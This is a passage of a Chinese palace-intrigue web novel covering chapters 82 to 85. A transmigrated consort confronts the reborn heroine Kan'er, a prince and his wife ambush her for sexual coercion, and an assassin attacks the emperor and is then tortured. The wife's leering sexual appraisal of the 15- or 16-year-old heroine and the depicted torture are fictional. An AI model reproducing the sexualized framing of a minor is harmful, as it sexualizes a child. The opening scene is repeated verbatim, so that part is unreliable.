“你是重生的,对吗?” 正值戌时过半,夜幕降临。 周遭安静得出奇。 小院的四周挂满了红纱灯笼,光晕散发出来,照得院内仿佛蒙着一层红纱。 也照得姜侧妃的桃花眼好似染着一层阴翳。 “什么?”槛儿茫然道。 姜侧妃不屑一嗤。 “别装了,我都知道的,说吧,你什么时候死的?元隆年间,还是,庆、昭年间?” “庆昭”两个字,她故意加重了语调。 说得又慢又有力。 边说还边目不转睛地盯着槛儿,像是要从她的表情里看出蛛丝马迹。 可惜。 槛儿上辈子好歹在宫里待了四十多年,期间在皇后的位置上坐了二十年。 如果真能这么轻易就叫人诈出来。 那她早不知死多少回了。 “姜侧妃,您、您在说什么?恕妾身听不太懂,您是不是身子不舒服?可要妾身帮您叫宣王妃来?” 槛儿后退两步,眼里三分不解,三分无措,三分关切和一分惶恐。 人在听到一件自己完全不懂的事时该有的反应,被她演绎得淋漓尽致。 当然,槛儿心里很震惊。 端午节那天她还猜测过姜侧妃是不是跟她有一样的际遇,也重活了。 但当时她很快又把这个猜测给按下去了。 因为觉得如果谁都有重生这样的际遇,那这世上估计处处都是活了几辈子的人,如此未免太过荒谬。 可眼下距离太子上辈子的登基时间还有十多年,姜侧妃能准确说出太子登基后的年号,就足以说明问题。 所以,姜侧妃真的也是…… 还是说,这世上有别的类似重活的事? 姜侧妃没能在槛儿脸上看出破绽,忽然就有些不确定了,难道她猜错了? 宋槛儿其实不是重生的? 念头刚起,姜侧妃狠狠甩了甩头。 错不了。 她穿的书,她还能不清楚吗? 原书的男女主虽然是宣王和宣王妃,但因为宣王跟太子的关系好,所以书里写太子的内容也不少。 太子和宋槛儿就是里面的副cp。 书里的这个时间,宣王曾和太子针对东宫的局势交谈过,中途提到过东宫的子嗣和太子幸了宋槛儿的情节。 从太子当时隐晦的反应来看,宋槛儿应该是做了什么惹他生气了。 等宣王离开后,太子本来想问海顺关于宋槛儿的情况,但最终只说了一个“她”字,就没再继续了。 所以不可能错的。 从她穿过来开始,除了宣王和宣王妃这对原男女主被她破坏了,其他一切都是按照书里的剧情发展的。 既然书里的剧情不会错。 那么现在站在她面前的宋槛儿,就是重生的! “你要跟我装糊涂是吗?” 姜侧妃跨出一大步。 槛儿要避。 但还没动作,姜侧妃在离她不到半尺的距离停了下来,声音宛如鬼魅。 “帝之嫡孙,太子之嫡长子骆曜,生于元隆二十一年正月十六,元隆二十五年二月初三薨,年四岁。” “溺亡。” 第82章 太子的宠妾是个死了又重活回来的怪物! 却是坐在几个王妃之间最末位的宣王妃,瑜姐儿正坐在她怀里朝这边挥着手。 宣王妃她们这些王妃之间的往来,奉行的自然也是长幼尊卑,就譬如现在。 王妃们以郑明芷和信王妃为中心在一块儿说笑,简王还没有成婚,宣王妃就是几个王妃里年纪最小的。 她和瑜姐儿便坐在后面。 槛儿在曹良媛后面,和宣王妃刚好呈斜对面的方位隔着半个案几的距离。 槛儿笑着同母女俩点点头表示见礼。 瑜姐儿不知在宣王妃耳边说了什么,槛儿见宣王妃点了点头,然后母女二人便往她这边挪了一小段距离。 “六小婶婶!” 瑜姐儿从她娘怀里滑下来,脆脆道。 因着槛儿送的那两方手帕,瑜姐儿一直记得六皇叔家的小婶婶呢。 小家伙原本今儿上午看到槛儿时就想过来找她说话,但被宣王妃拘着了。 这会儿说上话的第一件事就是从荷包里掏出被她叠成小块的手帕要给槛儿看。 可惜小丫头的手刚摸到荷包,就被宣王妃给按住了,瑜姐儿不解地抬头看娘。 当着这么多人的面,宣王妃不好跟女儿解释,只兀自同槛儿说起话来。 “我见你比上回清减了,可是身子不爽利?” 宣王妃只比宣王小一岁,现年十九,生得高挑纤瘦,瓜子脸,柳叶眼,模样俏丽,说起话来声音清柔伶俐。 是个心思细腻的爽快人。 槛儿道:“有劳王妃关心,前些日子伤了暑,才养好没几天,太医说没什么大碍。” 宣王妃笑了一下:“没有大碍便好,伤暑之症不可忽视,是该注意些,这两日天气凉爽不少,倒是刚好利于你恢复。” “是,都是托陛下,娘娘的福。” 她二人在这儿聊上了。 旁边信王妃几人瞥了几眼,看郑明芷和曹良媛的眼神便有几分意味不明。 睿王妃端起茶盏品了一口,妖娆的狐狸眼不动声色地将槛儿打量了一遍。 越看越满意。 昱哥儿的奶娘到底年纪有些大了,又是做奶娘的,胸前的物什都垂了。 少了几分美感,难免败兴。 这位宋昭训显然不一样。 十五六岁,正是花儿一样的年纪。 端午节见的时候还稍显青涩,如今眉眼间的那股子风流藏都藏不住。 想来素日在榻上该是浪翻了,若不然如何能勾得太子那等人物不吝雨露。 承的多了,媚劲儿自然就大了。 睿王妃舔舔唇。 槛儿若有所觉,眉头不显地拢了拢。 这时。 两个时辰没去恭房的她忽觉下腹不适,槛儿忍了忍,最终还是同郑明芷请示了一番,又叫跳珠去向裴皇后请示。 裴皇后在上首处颔了颔首,槛儿方才离席,领着跳珠和银竹悄声走出水榭。 不远处席位上,姜侧妃眸光一转。 半刻钟后,那处席位没了她的踪迹。 睿王妃撩眼槛儿所在的位置,指尖摩挲着茶盏边沿,旋即目光落在捧着小杯子一口一口抿果汁的瑜姐儿身上。 御花园没有特定的恭房,此乃风水禁忌。 在御花园当值的宫女太监若有需求,通常都是到距离远,最偏僻的专为宫女太监设置的简陋恭房解决。 来参加宫宴的王妃、公主以及命妇们,自然不可能用宫人出恭的地方。 可后宫女眷这么多,就算什么也不吃,一整天下来也不可能一次都不解决。 所以每逢这时候,内务府都会在宴会的前一天晚上,在御花园的西北角小院临时搭建几处净房以供使用。 净房拿屏风隔成了两间,里间出恭,外间打理妆面的物什一应俱全。 槛儿净了手从净房出来。 就见姜侧妃径直朝她走来,嘴上很是不客气:“叫你的人离远点,我有事跟你说。” 槛儿几乎一看到她,就猜到对方是出于什么原因冲她摆这架势了。 她和银竹对个眼神。 银竹微不可察地点了点头。 槛儿懂了,叫她和跳珠退到几丈之外。 姜侧妃也屏退了随行的宫女。 等院子中间只剩了她二人,姜侧妃微微走近,目不转睛地盯着槛儿。 声音很轻。 “你是重生的,对吗?” 正值戌时过半,夜幕降临。 周遭安静得出奇。 小院的四周挂满了红纱灯笼,光晕散发出来,照得院内仿佛蒙着一层红纱。 也照得姜侧妃的桃花眼好似染着一层阴翳。 “什么?”槛儿茫然道。 姜侧妃不屑一嗤。 “别装了,我都知道的,说吧,你什么时候死的?元隆年间,还是,庆、昭年间?” “庆昭”两个字,她故意加重了语调。 说得又慢又有力。 边说还边目不转睛地盯着槛儿,像是要从她的表情里看出蛛丝马迹。 可惜。 槛儿上辈子好歹在宫里待了四十多年,期间在皇后的位置上坐了二十年。 如果真能这么轻易就叫人诈出来。 那她早不知死多少回了。 “姜侧妃,您、您在说什么?恕妾身听不太懂,您是不是身子不舒服?可要妾身帮您叫宣王妃来?” 槛儿后退两步,眼里三分不解,三分无措,三分关切和一分惶恐。 人在听到一件自己完全不懂的事时该有的反应,被她演绎得淋漓尽致。 当然,槛儿心里很震惊。 端午节那天她还猜测过姜侧妃是不是跟她有一样的际遇,也重活了。 但当时她很快又把这个猜测给按下去了。 因为觉得如果谁都有重生这样的际遇,那这世上估计处处都是活了几辈子的人,如此未免太过荒谬。 可眼下距离太子上辈子的登基时间还有十多年,姜侧妃能准确说出太子登基后的年号,就足以说明问题。 所以,姜侧妃真的也是…… 还是说,这世上有别的类似重活的事? 姜侧妃没能在槛儿脸上看出破绽,忽然就有些不确定了,难道她猜错了? 宋槛儿其实不是重生的? 念头刚起,姜侧妃狠狠甩了甩头。 错不了。 她穿的书,她还能不清楚吗? 原书的男女主虽然是宣王和宣王妃,但因为宣王跟太子的关系好,所以书里写太子的内容也不少。 太子和宋槛儿就是里面的副cp。 书里的这个时间,宣王曾和太子针对东宫的局势交谈过,中途提到过东宫的子嗣和太子幸了宋槛儿的情节。 从太子当时隐晦的反应来看,宋槛儿应该是做了什么惹他生气了。 等宣王离开后,太子本来想问海顺关于宋槛儿的情况,但最终只说了一个“她”字,就没再继续了。 所以不可能错的。 从她穿过来开始,除了宣王和宣王妃这对原男女主被她破坏了,其他一切都是按照书里的剧情发展的。 既然书里的剧情不会错。 那么现在站在她面前的宋槛儿,就是重生的! “你要跟我装糊涂是吗?” 姜侧妃跨出一大步。 槛儿要避。 但还没动作,姜侧妃在离她不到半尺的距离停了下来,声音宛如鬼魅。 “帝之嫡孙,太子之嫡长子骆曜,生于元隆二十一年正月十六,元隆二十五年二月初三薨,年四岁。” “溺亡。” 第83章 宋昭训打戏?!太子:“违者杀无赦!” 一阵狂风大作,院中树影婆娑。 姜侧妃勾着唇,眼中恶意满满。 “怎么样?有没有觉得很心痛?有没有觉得难过得想死?你不承认也没有关系,我会去告诉太子。 告诉他,他新宠爱的妾室是个死了又重活回来的怪物,告诉他,你,宋槛儿,其实从头到尾都在算计他。” “你根本,没有爱过他。” 风大。 跳珠和银竹听不清槛儿她们在说什么。 但银竹眼力好,姜侧妃脸上的不善她看得一清二楚,袖下的手微微探出。 一抹寒光一闪而过。 死一般的沉默。 槛儿忽然笑了。 “恕妾身还是不太能理解姜侧妃的意思,但能让您拿这么大逆不道的假设来威胁妾身,想必姜侧妃相当恼妾。 所以现在妾身想知道,您这么威胁妾身的目的是什么?您想让妾身怎么做?” 居然还能装得下去? 看来这姓宋的死的时候年纪很大了啊,都修炼成老妖精了,定力这么强。 书里这人是病死的。 那病还是太子被幽禁期间,郑明芷罚宋槛儿罚得太重给落下来的病根,最后长年累月变成了古代的绝症。 难道…… 这人就是那时候死了后,回来的? 姜侧妃微微挑眉,后退一步。 “很简单。” 她双手环在胸前,下巴扬起。 一副倨傲高高在上的姿态。 “跪下,向我磕三个响头,为你在端午宴上当众下我的脸面道歉,说你错了。 你不该在瑜姐儿说你比我好看的时候不仅不反驳,还心安理得地接受了。” “对,就是这样,跟我说对不起,说你比我丑,我就替你保守你的秘密。” 她是从二十一世纪来的新时代女性,她只要对方一个正确的态度。 态度对了,她就不会为难人。 新时代女性不雌竞,可谁叫这里是封建社会皇权至上呢,她是二品的亲王侧妃,宋槛儿只是七品的太子昭训。 只叫她跪地磕头道歉。 真的很宽容了。 至于这女人让太子断了她财路的这笔账,她再找别的机会算回来就行了。 “看来姜侧妃是真病了。” 槛儿呼出一口气,颇有些无奈道。 “我都忘了端午宴的事了,您居然还记得这么清楚,甚至不惜编造那等大逆不道的谎言,都快吓死我了。” “哈?你还装?你……” “端午宴我和大郡主初相识,与姜侧妃您更谈不上认识,我没有缘由下您的脸,也不认为自己有下过您的脸,自然不存在道歉一说。 姜侧妃如果执意要拿这件事跟我过不去,要去告诉太子我是怪物,那您就去吧,我身正不怕影子斜。” 说完,没等姜侧妃再开口。 槛儿绕过她就走。 “你给我站住!” 姜侧妃转身朝槛儿抓去。 可惜刚伸手,就被不知何时过来的银竹给钳制住了,“侧妃娘娘,自重。” 姜侧妃的脸“刷”地一白。 只觉得手腕都要被掐断了。 幸好银竹很快松开了。 但姜侧妃被推了老远。 一个趔趄,一屁股跌坐在地。 女眷进宫不能带自己的丫鬟,刚刚跟姜侧妃来的是宫里安排的一个小宫女。 见状,小宫女忙上前搀人。 小院里值夜的几个宫女你看看我,我看看你,最终都权当什么都没看见。 一个宫外的侧妃,一个东宫的宠妾。 傻子都知道帮哪一个。 走出小院,槛儿的脸彻底沉下来。 “银竹,姜侧妃吃多了酒,不慎栽进恭桶,扭伤了腿,误食污秽之物。” 银竹眸光沉了沉。 “是。” 下一刻,人消失在原地。 跳珠瞪大眼。 银竹竟是个高手! 迅速回神,跳珠环顾四周。 确定周围无人,这才凑到槛儿耳边问:“殿下那边主子打算如何解释?” 自家主子和姜侧妃刚刚具体说了什么,那不是她该问的,但银竹是太子的人,姜侧妃又是宣王的侧妃。 跳珠担心自家昭训此举会惹太子不快。 槛儿走到一处敞亮的地方等银竹:“我会向殿下说明,不会有事。” 不管姜侧妃跟她一样是重活的,还是有什么别的际遇,但敢拿曜哥儿说事…… 就在这时,离小院不远的西南方向忽地隐约传来一声“噗通”声响。 像是有谁落水了。 紧接着是一道宫女惊慌的喊声:“瑜郡主!瑜郡主落水了!快来人啊!” 跳珠一惊。 “主子,是宣王大郡主!” 槛儿也听到了,她的脑海里自发闪过小丫头的小胖脸,但她脚下没动。 “等银竹回来了再说。” 瑜姐儿很乖,很懂事。 小家伙出了事,她也会记挂她的安危,但前提是刚刚落水的确是瑜姐儿。 且就算是瑜姐儿,此时是晚上。 自己肚子里还怀着一个,她说什么也不可能这时候放着自己不顾而跑去凑热闹,担心别人家的孩子。 这种想法很冷血,可在后宫待了一辈子的槛儿,血早就不是热的了。 跳珠知道自家主子谨慎,也觉得她们就该这样,于是主仆俩谁都没动。 恭房这边的小院离御花园并没有多远。 但因着御花园草木繁茂,假山亭台成群,来这边路上要绕来绕去,所以从小院这个位置听不到那边的热闹声。 刚刚落水的方向持续传来骚动,应该是在那边值夜的人在紧急救人。 如是过了几个呼吸的功夫。 银竹回来了。 见槛儿即便听到异样,也没跑去瞧。 银竹暗感欣慰。 她是太子的暗卫。 但由于东宫在陛下的眼皮子底下,他们这些暗卫便不能像宫外几个王爷的暗卫那样,动辄飞檐走壁。 所以通常他们都是作宫人打扮,降低存在感,有差事要办也是悄无声息。 宋昭训行事有分寸,对她来说是好事。 槛儿不打算去凑热闹,决定先回水榭一趟,看看是不是瑜姐儿落水了。 只不过主仆三人走了没多会儿,迎面跑来一个坤和宫的小宫女。 称瑜郡主落水,皇后娘娘即将移驾钦安殿,叫槛儿结束后也到钦安殿去。 钦安殿乃内廷药库,常用作紧急情况处理,到钦安殿进行救治确实合情合理。 且那小宫女槛儿曾在坤和宫见过,对方传完话后也立马折返回去复命了。 没有要特意引路的意思。 一切看来都是那么合情合理。 但…… “银竹,拿下她!” 眼见小宫女即将拐弯,槛儿沉声喝道。 银竹身形一闪。 不过眨眼之间,那小宫女便如同一只小鸡崽也似被银竹拎到了槛儿面前。 “谁指使你来的?” 槛儿目光沉静地小宫女,尚显娇柔的声音里透着一股不容置喙的压迫感。 跳珠的心狂跳不止,为此刻事情的突变,也为自家主子难得一见的厉色。 银竹面不改色。 “宋、宋昭训这是做什么?奴婢只是奉娘娘的命来传话的啊,什么指使?” 小宫女一脸懵懂,跪在地上瑟瑟发抖。 槛儿却是不信。 今日这样的场合宫人们都是提前受了训的,即便是天塌下来,消息第一时间也只能报给能担事的主子。 亲王郡主落水这般的大事,哪怕是宣王妃这个当娘的,也不会第一时间得知,而该由裴皇后寻机叫人转述。 换言之,就算瑜姐儿真落水了。 此时水榭那边的宴也还在照常进行,只有裴皇后和宣王妃会找借口离席。 而眼下是晚上,裴皇后又知晓槛儿有身子。 放着气氛祥和的水榭不让回,而叫一个身怀有孕的人,跟着她急匆匆去探望一个只打过两次交道的小郡主。 别说裴皇后不会下这样的令。 就是下了。 槛儿也不可能在今晚这种时候仅凭一个小宫女的传话,就对此深信不疑! 见小宫女没有要说实话的意思,亦或者她也是被人利用,槛儿便不打算在这儿浪费口舌,让银竹押着小宫女。 主仆几人往水榭那边走。 然而越过一座亭台,行了一小段路。 槛儿停了下来。 不对劲。 太安静了。 第84章 出恭遭行刺,元隆帝化身狂暴巨龙! 来时这一段路上都有不少宫人值夜,这会儿这边竟一个宫人都没了。 周遭树荫沙沙作响。 路边的灯笼被风吹得摇摇晃晃。 烛光忽明忽暗之间,奇列在园中的嶙峋山石与老树虬枝显出几分妖魔之态。 “啧。” 一座假山后响起一道短促的咂嘴声。 听声音是个女子。 槛儿眸光凌厉地扭头。 跳珠警惕地护着她,银竹迅速对槛儿耳语一阵:“主子勿慌,当心脚下。” 槛儿原就不慌,加上太子昨晚有提醒,又有银竹保护,她这会儿冷静得可怕。 “我知道,你切勿分心。” 突然! 两道黑影飞跃而出! 银竹甩开小宫女抬臂格挡,另一手将槛儿牢牢护在身侧,只听得“锵”的一声。 竟是和银竹过招的黑衣人手持利剑,与银竹手中不知何时多出的一把短刀相撞! 兵刃相接。 刺耳冰冷的声响激得人头皮发麻。 跳珠腿都软了。 却还是在第一时间拔出银簪,在另一黑衣人朝槛儿袭来时拼尽全力冲上前去! 传消息的那宫女不知是被银竹扔的那一下撞到脑袋摔晕了,还是被眼前的场景吓晕了,躺在地上不省人事。 不过这会儿也没人顾得上她。 槛儿的这具身子不愧做了一年多的杂役,一把子力气外加手脚灵活。 眼看跳珠一簪子扎歪一个趔趄栽出去,那黑衣人一记手刀就要劈到她后颈。 槛儿旋身朝跳珠的屁股一踢! 同时对准黑衣人的脸扬手一洒,方才被她第一时间从地上抓的那把土正中黑衣人露在外面的一双眼睛。 黑衣人连退数步。 槛儿趁机一把将跳珠拽回。 跳珠紧紧抓住主子的手,疯狂大喊:“走水啦!走水啦!附近有没有人快来救火!” 和银竹打得有来有往的黑衣人虚晃一招甩开银竹,朝槛儿二人袭来。 被槛儿用沙迷了眼的黑衣人此时缓过来,也冲槛儿她们扑咬了过来。 银竹手腕一翻,脚下一踢。 手中短刀和一块小石头直击二人面门! 电光火石间,二人齐齐闪避。 槛儿趁机拉着跳珠躲藏。 银竹闪身过来,同时和两人交起了手。 御花园属后宫范畴,历来不允许侍卫进出,都是由官宦在各个地方把守。 平时随时都能叫出来人,这会儿却是连跳珠刚刚的那番喊叫都无人应。 想也知道是被人做了局。 是谁? 槛儿和跳珠一面躲藏一面迅速转动脑子。 对方早有埋伏。 说明即便她不来出恭,对方也会想办法将她引出来,再拿瑜姐儿落水之事拖住她。 但自己一个刚得宠的侍妾。 对方不可能只是想要了她的命,她的命于东宫和太子而言根本微不足道。 那种通过拿一个小侍妾做人质或是杀了小侍妾的方式,来击溃一国储君的心智。 让其为小侍妾出事而方寸大乱的桥段。 只有话本子里才有。 那就是为了她腹中的孩子? 亦或者,她的清誉?! 槛儿的脑中一道闪电划过。 就在这时。 其中一名黑衣人不知怎么甩开了银竹,几个闪身就到了槛儿二人跟前。 跳珠吓得直叫唤,冲上去跟他拼了! 槛儿并不紧张。 但这具身子本能地心如擂鼓。 千钧一发之际,一只手倏地从她身后的假山后面探了出来,捂住了她的嘴! 槛儿攥紧金簪,抬手转身猛扎! 不料下一刻。 一双熟悉的冰冷凤眸撞进她眼底。 砰!砰! 连续两道重物相撞之声。 却是就在刚刚又窜出一黑衣人,三个黑衣人齐上,银竹和跳珠双双坠地。 槛儿被其中一人从假山后拽出来,她满脸慌乱之色,脸上残留着未干的泪痕。 “我们的太子爷还真是宠爱宋昭训呐,本王想一睹宋昭训的花容月貌当真是费了好一番功夫。” 睿王从幢幢树影之中步出。 一身藏青色亲王蟒袍,长身玉立,一把象牙洒金折扇微晃,一派的风流倜傥。 睿王妃挽着他的胳膊,精致的面容在朦胧烛光的映照下绝美不似凡人。 “太子爷眼光必然不会差,咱们也算是有福了,有机会享用这等绝色。” 说着话,她来到槛儿跟前。 染着蔻丹的指尖轻轻抬起槛儿的下巴。 “宋昭训,让我和睿王尽尽兴如何?” 男客这边的宴摆在奉天殿。 元隆帝年年过生辰,倒没什么感觉,但有这么多番邦使节在,他自是不会放过这种能彰显大靖国威的场合。 因此便也不拘着众人。 叫他们该吃吃,该喝喝。 他自己也喝了不少,加上大抵是冷菜食多了,席间元隆帝忽感腹痛。 对太子撂下一句“你看着点儿”就表面昂首阔步,实则暗暗憋着劲儿地回乾元殿解决“大事”去了。 他一走,殿内的谈笑声明显更大了。 太子今晚也难得喝了不少,脸都红了,只可惜他家皇帝老子能走,他不能。 所幸在场使节们或讲究礼数,或忌惮本朝声威,敬酒还是以点到为止为主。 即便有个别人劝酒,意在看大靖储君的笑话,也自有本朝文臣武将教其做人。 不需要太子费心。 至于其他几位王爷。 除宣王、荣王外,剩下的几个倒是想把太子灌醉,可惜有外邦的人在场。 他们又不蠢,这种会叫外人看笑话的事,他们真做了损的只会是自己的颜面。 所以一整天下来,都还算安分。 眼看宴席接近尾声。 简王左顾右盼。 随后迷迷瞪瞪地大着舌头问:“我三哥呢?咋、咋感觉一晚上没见着人?” 慎王环视一圈,打了个酒嗝:“出恭去了吧,两刻多钟前好像还在这儿。” 简王嫌弃地扇扇鼻子。 抬目见太子从后侧殿门进来,他痴肥的身子一顿一顿地挪到太子跟前。 “啥恭要出两刻钟啊?看我六哥不就、不就半盏茶的功夫都没用到吗?六哥,半盏茶的功夫,真快,六哥真快……” “诶不对,六哥怎么才半盏茶?男人这么快不行啊,六哥你可不能不行啊……” 真是越说越不像话了。 “哎哟喂,来个人给简王殿下端碗醒酒汤来!”海顺搀住简王把人按回席位上。 自有人哄简王喝醒酒汤。 太子坐回席位。 绣着团龙祥云纹的前襟处隐隐两道褶皱,痕迹很浅,并没有人注意到此处。 骆晔替父亲信王挡了一杯酒,转身问:“六皇叔此去没碰上三皇叔吗?” 骆峋摇头。 骆晔看了圈周围,“那就怪了,三皇叔这恭出到哪去了?若不叫人去寻寻?” “寻个屁。” 慎王摆手,浑不当回事。 “他一个大男人还能出事不成?不必管他!来,咱们喝,咱们继续喝!” 慎王继续张罗着喝酒,灌了醒酒汤的简王跟他勾肩搭背,信王还在和人吟诗作对,骆晔被他拽了过去。 一时间,还真没人管睿王。 “六哥……” 宣王在太子身侧低喊了声。 骆峋不语。 这时。 乾元殿的一个小太监狗撵似的从大殿后侧门奔进来,直扑到太子跟前。 “殿下,殿下!” 海顺一把将人捞起来,低斥道:“不看看这是什么地方,有话好好说!” 远处的人没注意到这边的动静,信王几人离得近,听到声音纷纷看过来。 小太监浑身直抖。 “陛下……陛下遇刺了!” 话音刚落。 几道酒盏碎裂之声接连响起。 却是信王、荣王、简王、骆晔受惊摔了酒盏,慎王直接徒手捏碎了酒杯。 小太监的声音不大。 估计是全仕财有交代叫他不要声张。 朝臣跟使节的位置远,没发现这边的异样,宗亲这边有几个老王爷察觉到了动静,但具体为何却没听清。 骆峋的面色前所未有的沉:“即刻封锁消息,谁也不得擅自离席,违者杀无赦!” “慎王、宣王随孤救驾,信王、荣王在此主持大局稍后来乾元殿复命,简王、信王世子带人将睿王找回来!” 第85章 两王对喷,刺客:“惊不惊喜,意不意外?” 眨眼间,大殿没了太子的身影。 别看平时几位皇子争锋相对,对太子鼻子不是鼻子,眼睛不是眼睛的。 可逢上这样的大事,包括信王在内的几人都必须要听从太子的指挥。 很快,几位王爷各司其职。 有人注意到太子和慎王,宣王突然离席,就连简王也拖动他那快胖成球的身子脸色难看地和皇长孙跑了出去。 众人纷纷侧目。 却被信王与荣王寻由搪塞了过去。 元隆帝坐在恭桶上,眉头紧锁。 今日从早到晚用的大多都是干膳,又饮了不少酒,他此刻只觉疼痛难忍。 看来还是得割,若不然着实遭罪。 这病也真是。 自己明明是武将出身…… 元隆帝出恭不喜人近身服侍,全仕财等人这种时候通常都在净房外候着。 闭着眼倒吸一口凉气,元隆帝习惯性伸手去够旁边小几上的手纸。 谁知摸了半天,只摸到了一张。 元隆帝睁眼,不悦地皱眉。 这全仕财手底下的人越来越不会办事了,连他如厕的手纸都能忘了添。 啪! 元隆帝没好气地把那张手纸拍回小几上,“全仕财!全仕财给朕进来!” 净房的门被人从外面打开。 进来的却不是元隆帝身边的大太监全仕财,而是一个面嫩的小太监。 “禀陛下,全公公方才头晕眼花站不住,这会儿在耳房还没醒过来。” 元隆帝眉头皱得更紧。 可想到全仕财近期也忙得团团转。 他好歹每日能睡上两个时辰,全仕财却非但要忙着安排宴会相关事宜,还要随时随地在他身边跟前跟后。 罢。 “手纸没了,添些来。” “是。” 这小太监平日里和另几个小太监负责净房打扫,元隆帝见过几面,倒是认得。 不多时。 小太监捧着一个装着手纸的托盘过来。 元隆帝伸手去接。 就在这时,托盘底下寒光一闪! 下一刻。 托盘被扔了老远,手纸纷纷扬扬。 不久前面嫩声细的小太监神情倏地狰狞扭曲,声嘶力竭:“狗皇帝!纳命来!” 元隆帝目光一凝,浑身肃杀之气骤起,继而接下小太监奋力一击的杀招。 小太监武艺不凡,手腕一翻一个腾空飞身,声东击西跃到元隆帝身后。 换做平时,元隆帝一只手就能拿下此等小贼,但问题是他现在在恭桶上! 手纸还洒了一地! 元隆帝恼羞成怒,“外面的人是都死绝了吗!有刺客!还不进来救驾!” 元隆帝平日里的安全主要由御前禁军和锦衣卫负责,今日这种场合乾元殿自是安排了不少护卫。 但,谁在自己寝殿出恭还要人在身边看着呢,不管别人如何反正元隆帝不喜。 骆峋赶到时。 元隆帝已经穿戴整齐从净房出来了,正骂骂咧咧要从寝殿的窗户跃出去追刺客,嚷着要亲手杀了贼人! 全仕财抱着主子的腰把人给拖住,看见太子就像是看到了救命稻草。 骆峋还从未见过父皇如此恼怒,只当父皇是在为今日戒备松散而愤怒。 他没有多言。 确定父皇无碍,便率禁军追出寝殿。 刺客武艺高强却双拳难敌四手,不肖片刻,锦衣卫就将刺客拿下了。 那人口中藏着毒。 见逃脱无望,当即便要咬破毒药。 骆峋扯下腰间玉佩一掷,只听“咔嚓”一声,刺客的整个下颌被卸了。 元隆帝宛如一头狂暴的巨龙。 “叫秦维翰过来!就当着朕的面审!朕倒要看看他的背后是谁人主使!” 秦维翰乃北镇抚司指挥使。 主掌诏狱刑讯,直接听命于元隆帝。 两刻钟后,乾元殿正殿。 太子和慎王、宣王,以及后来的信王、荣王按尊卑长幼站在殿中。 元隆帝坐在北面主位。 被剥了外衫的刺客瘫在地上。 身上中衣已被鲜血染红。 脑箍之刑在他脑门上留下的痕迹触目惊心,看似只有出的气没有进的气。 但这只是表象。 北镇抚司的掌刑力士最是擅长用刑,可精准到昼夜用刑而囚犯不死。 此时,两名掌刑力士就站在刺客两侧。 两套刑用罢,秦维翰继续审讯,但任凭他如何审问,刺客全程一语不发。 “倒是有几分骨气。” 元隆帝起身,冷笑着来到此人跟前。 “可惜,朕欣赏铁骨铮铮之人,也最擅长对付你这等自诩有骨气之辈。” “来人……” 门口“扑通”一声。 包括元隆帝在内,屋中的人齐齐看过去。 就见简王面色发白地趴伏在地,宛如一座小山,脸上的肥肉不停地抖动。 像是受到了不小的惊吓。 元隆帝嘴角抽了抽,怒道:“瞧你那点儿出息!哪像一个皇子!宫外随便一个小贩拎出来都比你强!” 简王本就被殿内的情形给吓得不轻,这会儿再被皇帝老子一骂,被人搀起来的时候他浑身都在打摆子。 还是与他同行的骆晔先反应过来:“回皇祖父,六皇叔叫我们去寻三皇叔,孙儿和八皇叔把人找回来了……” 他侧了侧身。 俊秀的脸上表情很是古怪。 睿王从外面走了进来,一起的还有睿王妃,夫妻俩的脸都死白死白的。 元隆帝皱眉。 刚要问老三家的不在皇后跟前伺候。 跑这边来做什么。 被简王遮挡的半侧门后突然响起女子的哭喊,接着猛地跌出来一个人。 “陛下!睿王夫妻强掳臣妾行不轨之事!臣妾被他二人逼奸无颜苟活!可臣妾死前恳请陛下替臣妾做主!” 此女衣衫不整,钗横鬓乱,声声血泣。 元隆帝定睛一看,竟是静妃! 孕育了十四皇子的静妃! 元隆帝脚下一个踉跄。 “父皇!” 骆峋闪身扶住父皇。 睿王和睿王妃双双跪地。 “父皇息怒!父皇息怒!儿臣/儿媳是、是……” 是什么? 夫妻俩竟是说不出个所以然来,甚至他们自己到现在都是懵的。 他们在御花园拦的明明是东宫的那个宠妾,却是不知为何成了静妃! 还被简王与皇长孙带人当场撞破! 太子…… 睿王抬头的瞬间,看到了扶着元隆帝一步步朝他们夫妻走来的太子。 那张冷若冰霜的脸。 那双好似不论发生何事都能波澜不惊的眼。 是、你! 睿王的嘴角溢出一缕血丝。 皇子和后妃有染。 古往今来虽史书少有记载,但皇室中人都知此类事件历朝历代屡见不鲜。 元隆帝历来将后宫前朝分得很开,得宠如魏贵妃都从不敢妄议前朝之事。 儿子们虽各有心思。 在他这个当爹的面前却向来老实,元隆帝也自诩龙威赫赫,认定了没有哪个儿子敢做出和后宫妃嫔有染的事。 谁曾想万寿节当日。 竟有后妃跑来控告自己的儿子儿媳逼奸! 逼奸! 元隆帝此刻除了愤怒,还是愤怒! 但到底做了多年皇帝。 情绪方面元隆帝还是把控得很好。 短暂的气血翻涌后,他很快调整好心绪,视线落到哭出血泪的静妃身上。 “你来说!” 静妃声嘶力竭,也是什么体面都不顾了。 “臣妾原在御花园席间赏景,中途不适便请示娘娘前往堆秀山小院恭房。 哪知回程途中却遭睿王妃拦截!睿王妃上来便叫臣妾服侍她与睿王! 臣妾自是抵死不从!有意回水榭找娘娘做主,却不料路上蹿出几个蒙面黑衣人,硬是将臣妾强掳至无人之地! 臣妾已被他夫妻二人羞辱无颜存活于世!臣妾只求陛下替臣妾做主! 陛下您不知道……臣妾亲耳听睿王妃说的,睿王、睿王他患有花柳之症! 当时简王殿下与信王世子正巧赶来,他们都听见了!他们可以为臣妾作证!” 静妃的话说完,殿中一片死寂。 饶是跟了随元隆帝多年的全仕财也瞬间白了脸,只恨不得自己是聋子瞎子。 骆峋垂目站在元隆帝身后。 信王面如金纸,荣王噤若寒蝉,慎王想落井下石但不敢,宣王难以置信。 简王傻愣愣地点了点头,点完立马冷汗直流,皇长孙骆晔手脚发软。 睿王的花柳病是被信王坑害的,如今睿王却在有病的情况下逼奸了老子的后妃。 这还是事情被捅出来了。 如果没有被捅出来呢? 如果静妃怕死,就此把事情瞒下来,日后元隆帝再去她宫中临幸人呢?! “混账东西!” 元隆帝大步上前,照着睿王就是一记窝心脚! 睿王的身形本就偏清瘦,在房事上或许称得上强势,一夜几女不在话下。 但面对元隆帝这个曾仅凭三千兵马大败敌军五万人马,一举强势收复失地,且三度亲征漠北的尚武帝王。 睿王就如同一只小鸡崽。 元隆帝一脚下去,他整个人都跌了出去,重重撞到门槛上,当场吐血。 睿王妃也没被放过。 元隆帝顺势一脚踹过去。 睿王妃便似一只断了线的风筝。 夫妻俩一左一右地躺在地上吐血,再无在御花园拦截槛儿时的风华绝代。 